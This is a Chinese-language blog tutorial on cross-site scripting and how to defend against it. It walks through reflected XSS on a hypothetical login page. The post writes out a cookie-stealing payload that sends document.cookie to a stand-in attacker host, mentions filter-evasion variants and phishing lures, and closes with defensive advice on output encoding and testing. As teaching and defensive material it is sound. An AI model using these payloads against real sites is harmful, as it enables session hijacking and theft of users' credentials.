Cross-Site Scripting (XSS) 介紹與防禦

Cross-Site Scripting (XSS) 介紹與防禦

這篇文章主要說明 XSS的攻擊流程與方法,

舉實例說明駭客可以透過怎樣的輸入方式造成XSS,

最後對於網站安全防護提出建議。

 

XSS攻擊

JavaScript Injection, XSS等技巧是駭客最常用來攻擊網站的方法之一,

這樣的攻擊方法通有三方單位所組成

  • 1. 受攻擊網站 (受害者)
  • 2. 駭客
  • 3. 瀏覽網站使用者 (受害者)

也就是說,駭客將一段 JavaScript 程式碼注入一個正常網站 (受害者),

接著等著使用者來瀏覽該受害網頁,以達到駭客所想要的目的

通常透過社交工程的方式,讓使用者有可能誤點該連結或是不知覺的情況下點選

例如:中獎通知、您的快遞通知線上簽收….等

駭客可以透過這樣的方式,執行一段 JavaScript 程式碼,

駭客的目的不外乎取得使用者上網的隱私資訊、帳號密碼、Cookie、購物資訊等

 

舉例來說:

有一個網站為 www.XSS_Vulnerability.com

駭客實際經過登入 name = Lily Hacker 之後發現 ,

該登入的過程會發出下列 http request (可用瀏覽器Developer Tool  <F12> 觀察)

 

GET /login.cgi?name=Lily%20Hacker HTTP/1.0

Host: www.XSS_vulnerable.com

 

該網站回覆資訊為

<HTML>
<Title>Welcome!</Title>
              Hi Lily Hacker
..
</HTML>

因此接下來,駭客便會思考,

如果該輸入的參數或是網址可以巧妙地修改,輸入給網站,

那麼回傳的結果是否會有所不同?

 

舉例來說,在網址列中加入一段 JavaScript 讀取 cookie

name=<script>alert(document.cookie)</script>

(註:Cookie通常會存有使用者驗證或是登入資訊)

 

因此,所送出的網址為:

http://www.XSS_vulnerable.com/login.cgi?name=

 

網站回傳的結果有可能變為

<HTML>
<Title>Welcome!</Title>

Hi <script>alert(document.cookie)</script><BR>


</HTML>

如此一來,當該網頁回傳時,就會執行該 Javascript,顯示該網站存取的 Cookie

Cookie Alert

 

 

再進一步加工,駭客通常會將這樣的 Cookie 傳送至他希望的地方,

如 www.hacker_Cookie.com,由該網站接受所有的 Cookie

因此

name = <script>window.open(“http://www.hacker_Cookie.site/Cookie_collect.cgi?cookie=”+document.cookie)</script>

經過 URL 編碼之後(  “+” 編碼為 %2B )

name=<script>window.open(“http://www.hacker_Cookie.site/Cookie_collect.cgi?cookie=”%2Bdocument.cookie)</script>

 

最後,整個 URL 變為

http://www.XSS_vulnerable.com/welcome.cgi?name=<script>window.open(“http://www.hacker_Cookie.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>

 

但是,這樣還是很明顯阿? 眼尖的使用者一看就會看到怪怪的網址,www.hacker_Cookie.site

因此,再進一步加工, 透過社交工程,post  到知名的部落格上

例如:

我的網站有問題,可以幫我看一下嗎,點選這裡 (這樣就看不到網址了!)

您的掛號已送達,請點擊這裡簽收,或是透過寄送email的方式

 

JavaScript 可以存取哪些資訊呢?

1. Cookie

以 Chrome 為操作範例

Browser > F12 > Resources > Cookie >

Cookie

由於 Cookie 多半與登入、認證、Remember Me、設定等有關,

所以 Cookie 駭客比較有興趣做進一步的分析

 

2. DOM (HTML) 該網頁上所有相關的資訊

 

其他JavaScript Injection 方式

除了 <script>…</script>的方式之外,還有常見的兩種:

1. <img src=”javascript:…”>:Browser 誤認為 Image 而直接執行,

同時也間接躲避scanner對於 <script> </script>關鍵字的偵測

2. <script src=”http://…”>: 當該 URL 很長的時候,特別有包含特殊支援時

 

XSS網站防護建議

1. 輸入字元檢查:

檢查該輸入字串是否含有可疑的 script 語法

這邊要特別強調的是,XSS的防護不可以儘靠輸入的檢查。

要有效防止XSS一定要在輸出檢查並且做適當的 Encoding!

2. 輸出檢查與 Encoding:

將相關的輸出檢查並且編碼後輸出,避免browser 執行不必要的程式碼。

也就是將特殊的字元,特別是 < or > 轉換為 &lt or &gt

  • &amp; → & (ampersand, U+0026)
  • &lt; → < (less-than sign, U+003C)
  • &gt; → > (greater-than sign, U+003E)
  • &quot; → ” (quotation mark, U+0022)
  • &apos; → ‘ (apostrophe, U+0027)

3. 安裝防火牆:

透過防火牆,在 http communication protocol 過濾相關的 XSS

 

4. 定期測試與驗證

可透過簡單下列語法,於網址、各個可以輸入的欄位與變數輸入下列值,

若該網站有 XSS弱點,就會出現 Test的視窗

<script>alert(‘test’)</script>

駭客是如何透過特別的”輸入”躲過輸入檢查呢?

可參考這篇文章 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

 

 

 

Leave a Reply

Your email address will not be published. Required fields are marked *